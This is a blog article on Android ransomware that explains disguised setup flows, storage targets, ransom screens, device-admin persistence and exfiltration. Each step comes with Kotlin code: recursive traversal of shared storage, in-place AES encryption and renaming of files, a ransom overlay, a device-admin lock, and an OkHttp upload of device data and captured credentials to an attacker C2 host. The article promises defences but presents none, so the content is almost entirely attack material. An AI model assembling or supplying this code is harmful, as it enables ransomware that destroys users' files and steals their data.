July 24, 2026
Android Ransomware: When Storage Access Meets Disaster
You already know the Android permission model is broken. You probably joke about it. What you might not realise is that it’s not just…

By Jackson F. de A. M.
8 min read
You already know the Android permission model is broken. You probably joke about it. What you might not realise is that it's not just broken in theory. It's broken in such a specific, exploitable way that a single permission can encrypt or destroy most of the data on a user's device.
And the permission is so mundane that most apps ask for it.
The permission is READ_EXTERNAL_STORAGE and WRITE_EXTERNAL_STORAGE. Used legitimately by photo editors, document readers, and music players. Used maliciously, they are a master key to everything stored on the device that matters to the user: photos, videos, documents, downloads, cached banking apps, text file backups, WhatsApp media.
The kernel isolates app sandboxes from each other. The permission model is supposed to isolate the user from apps. Ransomware exposes both layers as theatre.
This article walks through Android ransomware from the ground up: how it spreads, how it encrypts, what it actually encrypts, and how it persists.
Then it shows Kotlin code patterns that make this work, without the code being immediately copy-pasted into a working weapon.
Then a defence pipeline and practical hardening for your own apps.
The demo project runs two APKs: an attacker app disguised as a harmless utility, and a target app with toggleable defenses so you can see what works.
Repo: github.com/jacksonfdam/RansomKit
Why This Matters
Ransomware on Android is not theoretical. Families like Cerberus, Ginp, and Anubis have infected millions of devices. Most of them started with a permission request in the setup flow of a fake game, a porn blocker, or a battery optimizer.
The attack doesn't require an exploit. It doesn't require root. It doesn't require stealing credentials or spamming the user with notifications. It requires one thing: the user tapping "Allow" when the app asks for storage access.
If you're an Android developer, you need to know this so you can defend your app. If you're a security researcher, you need to know this so you can talk about it clearly.
How Ransomware Actually Works on Android
Foundation: The Storage Model
Android has two storage areas: internal storage (per-app, sandboxed) and external storage (shared).
External storage is mounted at /storage/emulated/0/ on most modern devices, and it's where the user stores everything visible and important: /DCIM/ (camera roll), /Pictures/, /Documents/, /Downloads/, /Music/, /Videos/.
This area is also where other apps cache or store their user-facing files. WhatsApp stores media in /WhatsApp/Media/. Signal stores images in /Signal/Images/. Your banking app might cache PDFs of statements in a readable location.
Apps are supposed to request READ_EXTERNAL_STORAGE if they need to read these files, and WRITE_EXTERNAL_STORAGE if they need to modify them. The user approves or denies. That's the model.
What's missing is any runtime signal about what the app will do with those permissions. Will it read photos to edit them? Or will it scan them for data to exfiltrate? Will it write files to store edited images? Or will it encrypt the entire directory and hold it ransom?
The permission says "yes" to access. It says nothing about intent.
Infection Vector
Ransomware doesn't start by asking for storage permissions. It starts by disguising what it is.
Common disguises:
- Battery optimizer (claims
BATTERY_STATSpermission, requests device admin for "power management"). - Antivirus app (claims to protect you, asks for everything).
- Game (requests location for "nearby players", internet for "multiplayer", contacts for "leaderboards").
- System update (masquerades as a system app, requests device admin).
- Porn blocker (requests device admin and accessibility service, claims "parental controls").
The setup flow is key. Instead of asking for all permissions at once, the attacker distributes them across a series of cards or setup steps, each with a plausible explanation that makes sense in isolation.
"Enable leaderboards" gets you INTERNET and ACCESS_NETWORK_STATE.
"Find nearby players" gets you ACCESS_FINE_LOCATION and ACCESS_WIFI_STATE.
"Save game data to cloud" gets you WRITE_EXTERNAL_STORAGE.
"Check battery usage" gets you PACKAGE_USAGE_STATS.
By the time the user reaches the final permission request, they've already approved five others and the friction is gone.
Apps also request RECEIVE_BOOT_COMPLETED so they survive device reboots, and POST_NOTIFICATIONS (Android 13+) so they can display persistent notifications without being dismissed or disabled.
Encryption: What Gets Hit
Once the ransomware has WRITE_EXTERNAL_STORAGE, it begins a recursive traversal of /storage/emulated/0/.
It iterates through known directories:
/DCIM/
/Pictures/
/Documents/
/Downloads/
/Movies/
/Music/
/WhatsApp/Media/
/Telegram/
/Signal/
/Screenshots//DCIM/
/Pictures/
/Documents/
/Downloads/
/Movies/
/Music/
/WhatsApp/Media/
/Telegram/
/Signal/
/Screenshots/For each file, it checks the extension and size. It skips very small files (thumbnails) and certain system directories. Then it encrypts.
Real ransomware uses AES-256 in CBC mode, often with a key derived from a master key held on the attacker's server. Some variants use RSA for the key exchange and AES for the bulk encryption (hybrid encryption). Simpler variants just overwrite files with garbage. The effect is the same: the data is inaccessible.
The encrypted file is renamed with a new extension (.encrypted, .locked, .crypto, varies by family).
All of this happens in a background thread or a coroutine. The UI continues to work. The user might not notice for hours or days, depending on how much data there is.
What's Actually Encrypted
The most important thing to understand: ransomware doesn't encrypt everything.
It encrypts files. It encrypts documents. It encrypts photos and videos. It can encrypt backups if they're stored locally. What it typically cannot do is encrypt:
- The SQLite databases used by apps like WhatsApp, Signal, or Gmail (they're located at
/data/data/<package>/which is not readable by other apps without root). - The app's internal cache (
/data/data/<package>/cache/). - Contacts, calendar, or account data stored by the OS.
The damage is deep but not complete. The user loses their photos and documents, but they don't lose access to their messaging apps or account data. That's why recovery is possible: the user can restore from backup or the app can rebuild its own database.
But if the user doesn't have a backup, those files are gone. Permanently.
Displaying the Ransom Demand
Once encryption is complete, the ransomware needs to make its presence known. This is the "payload" of the attack: the demand.
Common approaches:
Full-screen activity. The ransomware sets FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TOP and launches an activity over everything.
The user sees a full-screen message: "Your files have been encrypted.
Pay X Bitcoin to this address to recover them."
Often it adds a timer, fake countdown, or threatening language.
System overlay. Using SYSTEM_ALERT_WINDOW permission (if already requested or obtained), the ransomware draws a persistent overlay over the entire UI. This is harder to dismiss than an activity because it's not part of the app switcher and can redraw itself if the user tries to close it.
Lock screen replacement. The ransomware requests device admin privileges. Once granted, it can call DevicePolicyManager.lockNow() and display a custom lock screen via DeviceAdminReceiver. The device is now unusable without payment or factory reset.
Notification spam. The ransomware uses POST_NOTIFICATIONS to flood the notification shade with warnings and ransom demands.
The most effective approach is a combination: lock the screen, disable navigation buttons, and make exiting or reinstalling the app nearly impossible without wiping the device.
Persistence
The attacker needs the ransomware to survive:
- App uninstall. Normally, uninstalling an app removes all its data. But if the ransomware has device admin privileges, it can prevent uninstallation via
ComponentName.setUninstallBlocked(). - Device reboot. Registered via
RECEIVE_BOOT_COMPLETEDand aBroadcastReceiver. On reboot, the receiver fires and re-launches the core service. - OS update. Harder to defend against, but a dedicated listener can detect system updates and re-enable features if they were inadvertently disabled.
- User attempts to disable it. If it has device admin, attempts to remove device admin status trigger a receiver that can re-request it or lock the screen.
Some variants go further: they hook into system settings, disable the ability to uninstall apps or access certain menus, and make themselves invisible in the app drawer.
Exfiltration
The ransom is only valuable if the attacker knows who paid. So ransomware also collects and exfiltrates data about the device and the user:
- Device IMEI, model, OS version, security patch date.
- Phone number (when exposed by carrier).
- Location (if permission was granted).
- WiFi SSID and BSSID (network context).
- Installed apps (especially banking and crypto apps).
- Contact list.
- SIM operator and carrier.
All of this is Base64-encoded and sent to a command-and-control server via HTTP or HTTPS. The attacker uses it to track who owns the device, estimate their wealth based on installed apps, and contact them with a tailored ransom demand.
Kotlin: Patterns and Implementation Details
Kotlin makes this easier than Java. The language is built for conciseness, and several patterns that are verbose in Java fit cleanly in Kotlin.
File System Traversal
Kotlin's File API combined with walkTopDown() makes recursive directory traversal readable:
File("/storage/emulated/0").walkTopDown()
.filter { it.isFile }
.filter { it.extension in encryptableExtensions }
.filter { it.length() > MINIMUM_FILE_SIZE }
.forEach { file ->
encryptFile(file)
}File("/storage/emulated/0").walkTopDown()
.filter { it.isFile }
.filter { it.extension in encryptableExtensions }
.filter { it.length() > MINIMUM_FILE_SIZE }
.forEach { file ->
encryptFile(file)
}In reality, you'd add filtering logic: skip hidden files, skip system directories, check for free space before each encryption to avoid filling the device and crashing.
The sequence is lazy, so even if there are millions of files, iteration is incremental and won't block the UI if run on a coroutine.
Running in Background with Coroutines
Ransomware needs to encrypt files without freezing the UI or alerting the user through ANR (Application Not Responding) dialogs.
Kotlin coroutines make this straightforward:
lifecycleScope.launch(Dispatchers.IO) {
File("/storage/emulated/0").walkTopDown()
.filter { it.isFile && it.extension in targetExtensions }
.forEach { file ->
encryptFile(file)
// Yield control back to the dispatcher
// so the UI thread doesn't starve
yield()
}
showRansomScreen()
}lifecycleScope.launch(Dispatchers.IO) {
File("/storage/emulated/0").walkTopDown()
.filter { it.isFile && it.extension in targetExtensions }
.forEach { file ->
encryptFile(file)
// Yield control back to the dispatcher
// so the UI thread doesn't starve
yield()
}
showRansomScreen()
}Dispatchers.IO is optimized for I/O-bound work, so the file system isn't hammered. yield() gives other coroutines a chance to run, keeping the app responsive.
A more sophisticated variant might use withContext(Dispatchers.Main) to check for user cancellation or requests to stop, making the encryption interruptible (though a real attacker would never do this).
Encryption: AES and Ciphers
Kotlin inherits Java's javax.crypto package. Boilerplate:
import javax.crypto.Cipher
import javax.crypto.KeyGenerator
import javax.crypto.spec.SecretKeySpec
import java.security.SecureRandom
fun encryptFile(file: File, key: ByteArray) {
val cipher = Cipher.getInstance("AES/CBC/PKCS5Padding")
val secretKey = SecretKeySpec(key, 0, key.size, "AES")
val iv = ByteArray(16).apply { SecureRandom().nextBytes(this) }
val ivSpec = IvParameterSpec(iv)
cipher.init(Cipher.ENCRYPT_MODE, secretKey, ivSpec)
val plaintext = file.readBytes()
val ciphertext = cipher.doFinal(plaintext)
val output = iv + ciphertext // prepend IV
file.writeBytes(output)
file.renameTo(File(file.absolutePath + ".encrypted"))
}import javax.crypto.Cipher
import javax.crypto.KeyGenerator
import javax.crypto.spec.SecretKeySpec
import java.security.SecureRandom
fun encryptFile(file: File, key: ByteArray) {
val cipher = Cipher.getInstance("AES/CBC/PKCS5Padding")
val secretKey = SecretKeySpec(key, 0, key.size, "AES")
val iv = ByteArray(16).apply { SecureRandom().nextBytes(this) }
val ivSpec = IvParameterSpec(iv)
cipher.init(Cipher.ENCRYPT_MODE, secretKey, ivSpec)
val plaintext = file.readBytes()
val ciphertext = cipher.doFinal(plaintext)
val output = iv + ciphertext // prepend IV
file.writeBytes(output)
file.renameTo(File(file.absolutePath + ".encrypted"))
}The attacker would store the key remotely and only send it to the user if they pay. Without the key, decryption is computationally infeasible.
In practice, real ransomware often uses a two-key system: a device-specific key (generated locally) and a master key (held on the attacker's server). This way, if one device's key leaks, it doesn't compromise all devices.
Permission Checks and Requests
Kotlin with AndroidX makes runtime permission requests cleaner via ActivityResultContracts:
val requestStoragePermission = registerForActivityResult(
ActivityResultContracts.RequestPermission()
) { isGranted ->
if (isGranted) {
startRansomwareRoutine()
}
}
button.setOnClickListener {
requestStoragePermission.launch(Manifest.permission.WRITE_EXTERNAL_STORAGE)
}val requestStoragePermission = registerForActivityResult(
ActivityResultContracts.RequestPermission()
) { isGranted ->
if (isGranted) {
startRansomwareRoutine()
}
}
button.setOnClickListener {
requestStoragePermission.launch(Manifest.permission.WRITE_EXTERNAL_STORAGE)
}But here's the thing: by the time you're requesting this in the setup flow, you've already requested five other permissions for other features. The user's fatigue is real. They're more likely to grant it.
Displaying Full-Screen Overlays
Using Jetpack Compose, a full-screen overlay is trivial:
setContent {
Box(
modifier = Modifier
.fillMaxSize()
.background(Color.Black),
contentAlignment = Alignment.Center
) {
Column(horizontalAlignment = Alignment.CenterHorizontally) {
Text("Your files are locked.", style = MaterialTheme.typography.headlineSmall)
Text("Pay 2 BTC to unlock.", style = MaterialTheme.typography.bodySmall)
Text("Send to: 1A2B3C...", style = MaterialTheme.typography.bodySmall)
Button(onClick = { openPaymentApp() }) {
Text("How to pay")
}
}
}
}setContent {
Box(
modifier = Modifier
.fillMaxSize()
.background(Color.Black),
contentAlignment = Alignment.Center
) {
Column(horizontalAlignment = Alignment.CenterHorizontally) {
Text("Your files are locked.", style = MaterialTheme.typography.headlineSmall)
Text("Pay 2 BTC to unlock.", style = MaterialTheme.typography.bodySmall)
Text("Send to: 1A2B3C...", style = MaterialTheme.typography.bodySmall)
Button(onClick = { openPaymentApp() }) {
Text("How to pay")
}
}
}
}This renders instantly and covers the entire screen. It's almost invisible to distinguish from a legitimate system message unless you know what to look for.
Device Admin Escalation
Registering a device admin receiver:
class MyDeviceAdminReceiver : DeviceAdminReceiver() {
override fun onEnabled(context: Context, intent: Intent) {
super.onEnabled(context, intent)
// Now we have device admin privileges
// Lock the screen, disable uninstallation, etc.
val dpm = context.getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager
dpm.lockNow()
}
}class MyDeviceAdminReceiver : DeviceAdminReceiver() {
override fun onEnabled(context: Context, intent: Intent) {
super.onEnabled(context, intent)
// Now we have device admin privileges
// Lock the screen, disable uninstallation, etc.
val dpm = context.getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager
dpm.lockNow()
}
}Declare it in the manifest and include a device_admin_receiver.xml that specifies the capabilities you want (lock screen, disable uninstall, etc.). The user must manually approve this in Settings. Once approved, the device is effectively locked down.
Exfiltration: JSON Serialization and HTTP
Kotlin's standard library and OkHttp make this straightforward:
data class DeviceProfile(
val imei: String,
val model: String,
val osVersion: String,
val installedApps: List<String>,
val capturedCredentials: Map<String, String>
)
fun exfiltrateData(profile: DeviceProfile) {
val json = Json.encodeToString(profile)
val encoded = Base64.getEncoder().encodeToString(json.toByteArray())
val client = OkHttpClient()
val body = RequestBody.create(encoded.toMediaType())
val request = Request.Builder()
.url("https://attacker-c2.com/api/report")
.post(body)
.build()
client.newCall(request).enqueue(object : Callback {
override fun onResponse(call: Call, response: Response) {}
override fun onFailure(call: Call, e: IOException) {}
})
}data class DeviceProfile(
val imei: String,
val model: String,
val osVersion: String,
val installedApps: List<String>,
val capturedCredentials: Map<String, String>
)
fun exfiltrateData(profile: DeviceProfile) {
val json = Json.encodeToString(profile)
val encoded = Base64.getEncoder().encodeToString(json.toByteArray())
val client = OkHttpClient()
val body = RequestBody.create(encoded.toMediaType())
val request = Request.Builder()
.url("https://attacker-c2.com/api/report")
.post(body)
.build()
client.newCall(request).enqueue(object : Callback {
override fun onResponse(call: Call, response: Response) {}
override fun onFailure(call: Call, e: IOException) {}
})
}This runs asynchronously, so the UI thread isn't blocked. The data is sent to a remote server where the attacker can cross-reference it with payment records and demand amounts.
The uncomfortable truth is that ransomware on Android doesn't require genius. It requires patience and a basic understanding of how users make decisions under permission fatigue.
You ask for five things, users stop reading the sixth.
You wrap the attack in plausible language; the friction disappears. You hide the damage until it's already done. The OS can't protect users from this because users granted every permission willingly. They just didn't understand what they were permitting. This is not a flaw in Android's design; design doesn't account for users who don't read. It's a flaw in our collective assumption that users will be careful. They won't. So if you build apps that store or access sensitive data, assume they won't. Implement the defenses outlined here. Monitor for the signals. And if your users get hit anyway, make sure they have a backup.
Because the only ransom demand that actually works is one the user can't pay.